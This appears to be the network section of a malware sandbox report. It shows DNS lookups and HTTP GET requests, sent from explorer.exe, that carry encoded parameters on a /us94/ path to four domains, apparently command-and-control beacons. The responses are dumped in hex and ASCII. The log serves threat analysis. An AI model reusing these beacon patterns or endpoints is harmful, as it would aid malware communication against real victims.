Sep 7, 2023 08:39:01.876555920 CEST	80	49771	91.195.240.123	192.168.2.8
Sep 7, 2023 08:39:01.876624107 CEST	49771	80	192.168.2.8	91.195.240.123
Sep 7, 2023 08:39:01.876629114 CEST	80	49771	91.195.240.123	192.168.2.8
Sep 7, 2023 08:39:01.876705885 CEST	49771	80	192.168.2.8	91.195.240.123
Sep 7, 2023 08:39:01.876708031 CEST	80	49771	91.195.240.123	192.168.2.8
Sep 7, 2023 08:39:01.876780033 CEST	80	49771	91.195.240.123	192.168.2.8
Sep 7, 2023 08:39:01.876822948 CEST	49771	80	192.168.2.8	91.195.240.123
Sep 7, 2023 08:39:01.876853943 CEST	80	49771	91.195.240.123	192.168.2.8
Sep 7, 2023 08:39:01.876959085 CEST	49771	80	192.168.2.8	91.195.240.123
Sep 7, 2023 08:39:02.017555952 CEST	49771	80	192.168.2.8	91.195.240.123
Sep 7, 2023 08:39:02.193577051 CEST	80	49771	91.195.240.123	192.168.2.8
Sep 7, 2023 08:39:02.193628073 CEST	80	49771	91.195.240.123	192.168.2.8
Sep 7, 2023 08:39:02.193661928 CEST	80	49771	91.195.240.123	192.168.2.8
Sep 7, 2023 08:39:02.193691969 CEST	80	49771	91.195.240.123	192.168.2.8
Sep 7, 2023 08:39:02.193723917 CEST	80	49771	91.195.240.123	192.168.2.8
Sep 7, 2023 08:39:02.193753958 CEST	80	49771	91.195.240.123	192.168.2.8
Sep 7, 2023 08:39:02.193794012 CEST	80	49771	91.195.240.123	192.168.2.8
Sep 7, 2023 08:39:02.193797112 CEST	49771	80	192.168.2.8	91.195.240.123
Sep 7, 2023 08:39:02.193825006 CEST	80	49771	91.195.240.123	192.168.2.8
Sep 7, 2023 08:39:02.193857908 CEST	80	49771	91.195.240.123	192.168.2.8
Sep 7, 2023 08:39:02.193862915 CEST	49771	80	192.168.2.8	91.195.240.123
Sep 7, 2023 08:39:02.193881989 CEST	80	49771	91.195.240.123	192.168.2.8
Sep 7, 2023 08:39:02.193926096 CEST	49771	80	192.168.2.8	91.195.240.123
Sep 7, 2023 08:39:02.193944931 CEST	49771	80	192.168.2.8	91.195.240.123
Sep 7, 2023 08:39:02.334511995 CEST	80	49771	91.195.240.123	192.168.2.8
Sep 7, 2023 08:39:02.334711075 CEST	49771	80	192.168.2.8	91.195.240.123
Sep 7, 2023 08:39:22.492707968 CEST	49772	80	192.168.2.8	104.21.48.68
Sep 7, 2023 08:39:22.653743982 CEST	80	49772	104.21.48.68	192.168.2.8
Sep 7, 2023 08:39:22.653928995 CEST	49772	80	192.168.2.8	104.21.48.68
Sep 7, 2023 08:39:22.654042959 CEST	49772	80	192.168.2.8	104.21.48.68
Sep 7, 2023 08:39:22.815152884 CEST	80	49772	104.21.48.68	192.168.2.8
Sep 7, 2023 08:39:22.856993914 CEST	80	49772	104.21.48.68	192.168.2.8
Sep 7, 2023 08:39:22.857034922 CEST	80	49772	104.21.48.68	192.168.2.8
Sep 7, 2023 08:39:22.857064962 CEST	80	49772	104.21.48.68	192.168.2.8
Sep 7, 2023 08:39:22.857310057 CEST	49772	80	192.168.2.8	104.21.48.68
Sep 7, 2023 08:39:22.857393026 CEST	49772	80	192.168.2.8	104.21.48.68
Sep 7, 2023 08:39:43.422524929 CEST	49773	80	192.168.2.8	66.235.200.145
Sep 7, 2023 08:39:43.583822966 CEST	80	49773	66.235.200.145	192.168.2.8
Sep 7, 2023 08:39:43.584053993 CEST	49773	80	192.168.2.8	66.235.200.145
Sep 7, 2023 08:39:43.584228992 CEST	49773	80	192.168.2.8	66.235.200.145
Sep 7, 2023 08:39:43.745253086 CEST	80	49773	66.235.200.145	192.168.2.8
Sep 7, 2023 08:39:43.939963102 CEST	80	49773	66.235.200.145	192.168.2.8
Sep 7, 2023 08:39:43.940239906 CEST	80	49773	66.235.200.145	192.168.2.8
Sep 7, 2023 08:39:43.940341949 CEST	49773	80	192.168.2.8	66.235.200.145
Sep 7, 2023 08:39:43.940463066 CEST	49773	80	192.168.2.8	66.235.200.145
Sep 7, 2023 08:39:44.101413012 CEST	80	49773	66.235.200.145	192.168.2.8
Sep 7, 2023 08:40:06.896670103 CEST	49774	80	192.168.2.8	34.120.175.65
Sep 7, 2023 08:40:07.074250937 CEST	80	49774	34.120.175.65	192.168.2.8
Sep 7, 2023 08:40:07.074388027 CEST	49774	80	192.168.2.8	34.120.175.65
Sep 7, 2023 08:40:07.074596882 CEST	49774	80	192.168.2.8	34.120.175.65
Sep 7, 2023 08:40:07.252485991 CEST	80	49774	34.120.175.65	192.168.2.8
Sep 7, 2023 08:40:07.392153978 CEST	80	49774	34.120.175.65	192.168.2.8
Sep 7, 2023 08:40:07.392225981 CEST	80	49774	34.120.175.65	192.168.2.8
Sep 7, 2023 08:40:07.392257929 CEST	80	49774	34.120.175.65	192.168.2.8
Sep 7, 2023 08:40:07.392286062 CEST	80	49774	34.120.175.65	192.168.2.8
Sep 7, 2023 08:40:07.392321110 CEST	80	49774	34.120.175.65	192.168.2.8
Sep 7, 2023 08:40:07.392340899 CEST	80	49774	34.120.175.65	192.168.2.8
Sep 7, 2023 08:40:07.392362118 CEST	80	49774	34.120.175.65	192.168.2.8
Sep 7, 2023 08:40:07.392455101 CEST	49774	80	192.168.2.8	34.120.175.65
Sep 7, 2023 08:40:07.392499924 CEST	49774	80	192.168.2.8	34.120.175.65
Sep 7, 2023 08:40:08.534625053 CEST	49774	80	192.168.2.8	34.120.175.65

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 7, 2023 08:39:00.929970980 CEST	52932	53	192.168.2.8	8.8.8.8
Sep 7, 2023 08:39:01.207607985 CEST	53	52932	8.8.8.8	192.168.2.8
Sep 7, 2023 08:39:22.286114931 CEST	49250	53	192.168.2.8	8.8.8.8
Sep 7, 2023 08:39:22.491281986 CEST	53	49250	8.8.8.8	192.168.2.8
Sep 7, 2023 08:39:43.147365093 CEST	51962	53	192.168.2.8	8.8.8.8
Sep 7, 2023 08:39:43.421124935 CEST	53	51962	8.8.8.8	192.168.2.8
Sep 7, 2023 08:40:05.355051041 CEST	59429	53	192.168.2.8	8.8.8.8
Sep 7, 2023 08:40:06.894923925 CEST	53	59429	8.8.8.8	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 7, 2023 08:39:00.929970980 CEST	192.168.2.8	8.8.8.8	0xa4a	Standard query (0)	www.emdefencetech.com	A (IP address)	IN (0x0001)	false
Sep 7, 2023 08:39:22.286114931 CEST	192.168.2.8	8.8.8.8	0xa58e	Standard query (0)	www.nazadypro.shop	A (IP address)	IN (0x0001)	false
Sep 7, 2023 08:39:43.147365093 CEST	192.168.2.8	8.8.8.8	0xe5fa	Standard query (0)	www.soccercitycupsc.com	A (IP address)	IN (0x0001)	false
Sep 7, 2023 08:40:05.355051041 CEST	192.168.2.8	8.8.8.8	0x8af1	Standard query (0)	www.69v39.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 7, 2023 08:39:01.207607985 CEST	8.8.8.8	192.168.2.8	0xa4a	No error (0)	www.emdefencetech.com		91.195.240.123	A (IP address)	IN (0x0001)	false
Sep 7, 2023 08:39:22.491281986 CEST	8.8.8.8	192.168.2.8	0xa58e	No error (0)	www.nazadypro.shop		104.21.48.68	A (IP address)	IN (0x0001)	false
Sep 7, 2023 08:39:22.491281986 CEST	8.8.8.8	192.168.2.8	0xa58e	No error (0)	www.nazadypro.shop		172.67.180.82	A (IP address)	IN (0x0001)	false
Sep 7, 2023 08:39:43.421124935 CEST	8.8.8.8	192.168.2.8	0xe5fa	No error (0)	www.soccercitycupsc.com	soccercitycupsc.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 7, 2023 08:39:43.421124935 CEST	8.8.8.8	192.168.2.8	0xe5fa	No error (0)	soccercitycupsc.com		66.235.200.145	A (IP address)	IN (0x0001)	false
Sep 7, 2023 08:40:06.894923925 CEST	8.8.8.8	192.168.2.8	0x8af1	No error (0)	www.69v39.top		34.120.175.65	A (IP address)	IN (0x0001)	false
Sep 7, 2023 08:40:06.894923925 CEST	8.8.8.8	192.168.2.8	0x8af1	No error (0)	www.69v39.top		35.244.161.158	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.emdefencetech.com

www.nazadypro.shop

www.soccercitycupsc.com

www.69v39.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.8	49771	91.195.240.123	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 7, 2023 08:39:01.528389931 CEST	140	OUT	GET /us94/?FV9l7b=09CVAw2tWRgghkhUEy5C5oLzHr5PLkNGN/bgaCa/HPdap5UhvkEM57dmWPBbgbvu1iSh&BbW=QzuhmF0pKL HTTP/1.1 Host: www.emdefencetech.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Sep 7, 2023 08:39:01.876094103 CEST	141	IN	HTTP/1.1 200 OK date: Thu, 07 Sep 2023 06:39:01 GMT content-type: text/html; charset=UTF-8 transfer-encoding: chunked vary: Accept-Encoding x-powered-by: PHP/8.1.17 expires: Mon, 26 Jul 1997 05:00:00 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_Hy6RGj3U2trNFDIi49tEQi0GZsQFxr7l0Ray0Ffsh9iRYzorE4BdUxuNADlZG2tZwzAnW9QWCppMCJ9Mq/PPUA== last-modified: Thu, 07 Sep 2023 06:39:01 GMT x-cache-miss-from: parking-6f7d579cd8-6rwdm server: NginX connection: close Data Raw: 32 43 45 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 48 79 36 52 47 6a 33 55 32 74 72 4e 46 44 49 69 34 39 74 45 51 69 30 47 5a 73 51 46 78 72 37 6c 30 52 61 79 30 46 66 73 68 39 69 52 59 7a 6f 72 45 34 42 64 55 78 75 4e 41 44 6c 5a 47 32 74 5a 77 7a 41 6e 57 39 51 57 43 70 70 4d 43 4a 39 4d 71 2f 50 50 55 41 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 65 6d 64 65 66 65 6e 63 65 74 65 63 68 2e 63 6f 6d 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 65 6d 64 65 66 65 6e 63 65 74 65 63 68 20 52 65 73 6f 75 72 63 65 73 20 61 6e 64 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6d 64 65 66 65 6e 63 65 74 65 63 68 2e 63 6f 6d 20 69 73 20 79 6f 75 72 20 66 69 72 73 74 20 61 6e 64 20 62 65 73 74 20 73 6f 75 72 63 65 20 66 6f 72 20 61 6c 6c 20 6f 66 20 74 68 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 79 6f 75 e2 80 99 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2e Data Ascii: 2CE<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_Hy6RGj3U2trNFDIi49tEQi0GZsQFxr7l0Ray0Ffsh9iRYzorE4BdUxuNADlZG2tZwzAnW9QWCppMCJ9Mq/PPUA==><head><meta charset="utf-8"><title>emdefencetech.com - emdefencetech Resources and Information.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="emdefencetech.com is your first and best source for all of the information youre looking for.
Sep 7, 2023 08:39:01.876183987 CEST	142	IN	Data Raw: 20 46 72 6f 6d 20 67 65 6e 65 72 61 6c 20 74 6f 70 69 63 73 20 74 6f 20 6d 6f 72 65 20 6f 66 20 77 68 61 74 20 79 6f 75 20 77 6f 75 6c 64 20 65 78 70 65 63 74 20 74 6f 20 66 69 6e 64 20 68 65 72 65 2c 20 65 6d 64 65 66 65 6e 63 65 74 65 63 68 2e Data Ascii: From general topics to more of what you would expect to find here, emdefencetech.com has it all. We hope 576you find what you are searching for!"><link rel="icon" type="image/png" href="//img.sedoparking.com/templa
Sep 7, 2023 08:39:01.876255989 CEST	144	IN	Data Raw: 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 6f 70 74 67 72 6f 75 70 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a Data Ascii: rflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}button,html [type=button],[type=reset],[type=s576ubmit]{-web
Sep 7, 2023 08:39:01.876389980 CEST	145	IN	Data Raw: 61 6e 6e 6f 75 6e 63 65 6d 65 6e 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 30 65 31 36 32 65 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 70 61 64 64 69 6e 67 3a 30 20 35 70 78 7d 2e 61 6e 6e 6f 75 6e 63 65 6d 65 6e 74 20 70 7b 63 6f Data Ascii: announcement{background:#0e162e;text-align:center;padding:0 5px}.announcement p{color:#848484}.announcement a{color:#848484}.container-header{margin:0 auto 0 auto;text-align:center}.container-header__content{color:#848484}.container-buybox{tex
Sep 7, 2023 08:39:01.876463890 CEST	146	IN	Data Raw: 6f 6e 74 61 69 6e 65 72 2d 69 6d 70 72 69 6e 74 5f 5f 63 6f 6e 74 65 6e 74 2d 74 65 78 74 2c 2e 63 6f 6e 74 61 69 6e 65 72 2d 69 6d 70 72 69 6e 74 5f 5f 63 6f 6e 74 65 6e 74 2d 6c 69 6e 6b 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 70 78 3b 63 6f 6c Data Ascii: ontainer-imprint__content-text,.container-imprint__content-link{font-size:10px;color:#949494}.container-contact-us{text-align:center}.container-contact-us__content{display:inline-block}.container-contact-us__content-text,.container-contact-us_
Sep 7, 2023 08:39:01.876555920 CEST	147	IN	Data Raw: 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 33 73 3b 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 33 73 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 33 73 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 63 6f 6f 6b 69 Data Ascii: sition:all .3s;-moz-transition:all .3s;transition:all .3s;text-align:center}.cookie-modal-window__content-header{font-size:150%;margin:0 0 15px}.cookie-modal-window__content{text-align:initial;margin:10% auto;padding:40px;background:#fff;displ
Sep 7, 2023 08:39:01.876629114 CEST	148	IN	Data Raw: 35 37 36 0d 0a 72 3a 23 64 65 65 31 65 33 7d 2e 64 69 73 61 62 6c 65 64 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7a 2d 69 6e 64 65 78 3a 2d 39 39 39 7d 2e 62 74 6e 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 62 6f 72 64 65 Data Ascii: 576r:#dee1e3}.disabled{display:none;z-index:-999}.btn{display:inline-block;border-style:solid;border-radius:5px;padding:15px 25px;text-align:center;text-decoration:none;cursor:pointer;margin:5px;transition:.3s}.btn--success{background-color:
Sep 7, 2023 08:39:01.876708031 CEST	150	IN	Data Raw: 74 68 3a 32 36 70 78 3b 6c 65 66 74 3a 34 70 78 3b 62 6f 74 74 6f 6d 3a 34 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 2e 34 73 3b 74 72 61 6e 73 69 74 69 6f Data Ascii: th:26px;left:4px;bottom:4px;background-color:#fff;-webkit-transition:.4s;transition:.4s}.switch__slider--round{border15D8-radius:34px}.switch__slider--round:before{border-radius:50%}input:checked+.switch__slider{background-color:#007bff}in
Sep 7, 2023 08:39:01.876780033 CEST	151	IN	Data Raw: 73 2e 70 6e 67 22 29 20 23 30 65 31 36 32 65 20 6e 6f 2d 72 65 70 65 61 74 20 74 6f 70 20 6c 65 66 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 39 34 25 20 36 34 30 70 78 3b 66 6c 65 78 2d 67 72 6f 77 3a 31 3b 70 6f 73 69 74 69 6f 6e 3a Data Ascii: s.png") #0e162e no-repeat top left;background-size:94% 640px;flex-grow:1;position:inherit;top:90px;overflow:hidden;z-index:-1}.container-content__right{background:url("//img.sedoparking.com/templates/bg/arrows.png") #0e162e no-repeat top left;
Sep 7, 2023 08:39:01.876853943 CEST	152	IN	Data Raw: 66 64 38 30 31 7d 2e 74 77 6f 2d 74 69 65 72 2d 61 64 73 2d 6c 69 73 74 5f 5f 6c 69 73 74 2d 65 6c 65 6d 65 6e 74 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 77 6f 2d 74 69 65 72 2d 61 64 73 2d 6c 69 73 74 5f 5f 6c 69 73 74 2d 65 6c 65 6d 65 6e 74 2d Data Ascii: fd801}.two-tier-ads-list__list-element-link:link,.two-tier-ads-list__list-element-link:visited{text-decoration:underline}.two-tier-ads-list__list-element-link:hover,.two-tier-ads-list__list-element-link:active,.two-tier-ads-list__list-element-
Sep 7, 2023 08:39:02.193577051 CEST	154	IN	Data Raw: 6e 74 61 69 6e 65 72 7b 67 72 69 64 2d 61 72 65 61 3a 31 2f 32 2f 32 2f 36 7d 2e 6c 65 66 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 22 68 74 74 70 73 3a 2f 2f 69 6d 67 2e 73 65 64 6f 70 61 Data Ascii: ntainer{grid-area:1/2/2/6}.left-container{background-image:url("https://img.sedoparking.com/templates/bg/NameSiloLogo.png");background-size:9vw;background-repeat:no-repeat;margin-right:10px;grid-area:1/1/2/2} </style><script type="text/ja

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.8	49772	104.21.48.68	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 7, 2023 08:39:22.654042959 CEST	166	OUT	GET /us94/?FV9l7b=dEK1UcEseC60ArM7bnAGctGEpZul5aHqilxPZgyrfd7+4uauQhfO1u/GuBaUBJFU+KOU&BbW=QzuhmF0pKL HTTP/1.1 Host: www.nazadypro.shop Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Sep 7, 2023 08:39:22.856993914 CEST	167	IN	HTTP/1.1 404 Not Found Date: Thu, 07 Sep 2023 06:39:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=kTYDAkJwCyw0%2BnhK7NN2bcwb94Iew%2FOYP2vLbo1Mp%2BeteJHtybie0loptL9iJqTk55Y3OiGn4digZd6g4%2BoNGUC4NxW6%2FXzw5tX3zUoews%2B3g0ZC575%2BgflLHEfb2IbFUbaSogI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 802cf4470aa209f7-LAS alt-svc: h3=":443"; ma=86400 Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: 92<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Sep 7, 2023 08:39:22.857034922 CEST	167	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.8	49773	66.235.200.145	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 7, 2023 08:39:43.584228992 CEST	168	OUT	GET /us94/?FV9l7b=S5srMiwBCDtV4rjo3jAT9rEjkkSDttoSOLAmgXzTQBVP9tcOlEr2qFRjTuqDw5Sxe1FF&BbW=QzuhmF0pKL HTTP/1.1 Host: www.soccercitycupsc.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Sep 7, 2023 08:39:43.939963102 CEST	168	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 07 Sep 2023 06:39:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Content-Security-Policy: upgrade-insecure-requests Location: http://soccercitycupsc.com/us94/?FV9l7b=S5srMiwBCDtV4rjo3jAT9rEjkkSDttoSOLAmgXzTQBVP9tcOlEr2qFRjTuqDw5Sxe1FF&BbW=QzuhmF0pKL host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Endurance-Cache-Level: 0 X-nginx-cache: WordPress CF-Cache-Status: MISS Server: cloudflare CF-RAY: 802cf4c9db4209f9-LAS Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.8	49774	34.120.175.65	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 7, 2023 08:40:07.074596882 CEST	169	OUT	GET /us94/?FV9l7b=gRE/KZOmUIl0E9O5tIrQ1aSnWhjtkyGjsCPW33OGocf8yDxoSBdOJbLmmBtR+4NwNN+r&BbW=QzuhmF0pKL HTTP/1.1 Host: www.69v39.top Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Sep 7, 2023 08:40:07.392153978 CEST	171	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Thu, 07 Sep 2023 06:40:07 GMT Content-Type: text/html Content-Length: 5351 Last-Modified: Wed, 02 Aug 2023 04:25:02 GMT Vary: Accept-Encoding ETag: "64c9da9e-14e7" Cache-Control: no-cache Accept-Ranges: bytes Via: 1.1 google Connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 7a 68 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 2e 61 6c 69 63 64 6e 2e 63 6f 6d 2f 77 6f 6f 64 70 65 63 6b 65 72 78 2f 6a 73 73 64 6b 2f 77 70 6b 52 65 70 6f 72 74 65 72 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 74 72 75 65 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 2e 61 6c 69 63 64 6e 2e 63 6f 6d 2f 77 6f 6f 64 70 65 63 6b 65 72 78 2f 6a 73 73 64 6b 2f 70 6c 75 67 69 6e 73 2f 67 6c 6f 62 61 6c 65 72 72 6f 72 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 74 72 75 65 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 2e 61 6c 69 63 64 6e 2e 63 6f 6d 2f 77 6f 6f 64 70 65 63 6b 65 72 78 2f 6a 73 73 64 6b 2f 70 6c 75 67 69 6e 73 2f 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 74 72 75 65 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 77 70 6b 52 65 70 6f 72 74 65 72 26 26 28 77 69 6e 64 6f 77 2e 77 70 6b 3d 6e 65 77 20 77 69 6e 64 6f 77 2e 77 70 6b 52 65 70 6f 72 74 65 72 28 7b 62 69 64 3a 22 62 65 72 67 2d 64 6f 77 6e 6c 6f 61 64 22 2c 72 65 6c 3a 22 32 2e 33 39 2e 31 31 22 2c 73 61 6d 70 6c 65 52 61 74 65 3a 31 2c 70 6c 75 67 69 6e 73 3a 5b 5b 77 69 6e 64 6f 77 2e 77 70 6b 67 6c 6f 62 61 6c 65 72 72 6f 72 50 6c 75 67 69 6e 2c 7b 6a 73 45 72 72 3a 21 30 2c 6a 73 45 72 72 53 61 6d 70 6c 65 52 61 74 65 3a 31 2c 72 65 73 45 72 72 3a 21 30 2c 72 65 73 45 72 72 53 61 6d 70 6c 65 52 61 74 65 3a 31 7d 5d 2c 5b 77 69 6e 64 6f 77 2e 77 70 6b 70 65 72 66 6f 72 6d 61 6e 63 65 50 6c 75 67 69 6e 2c 7b 65 6e 61 62 6c 65 3a 21 30 2c 73 61 6d 70 6c 65 52 61 74 65 3a 2e 35 7d 5d 5d 7d 29 2c 77 69 6e 64 6f 77 2e 77 70 6b 2e 69 6e 73 74 61 6c 6c 28 29 29 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 6c 6f 61 64 42 61 69 64 75 48 6d 74 28 74 29 7b 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 e7 99 be e5 ba a6 e7 bb 9f e8 ae a1 22 2c 74 29 3b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 65 2e 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 68 6d 2e 62 61 69 64 75 2e 63 6f 6d 2f 68 6d 2e 6a 73 3f 22 2b 74 3b 76 61 72 20 6f 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 6f 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 65 2c 6f 29 7d 66 75 6e 63 74 69 6f Data Ascii: <!doctype html><html lang="zh"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0"><script src="https://g.alicdn.com/woodpeckerx/jssdk/wpkReporter.js" crossorigin="true"></script><script src="https://g.alicdn.com/woodpeckerx/jssdk/plugins/globalerror.js" 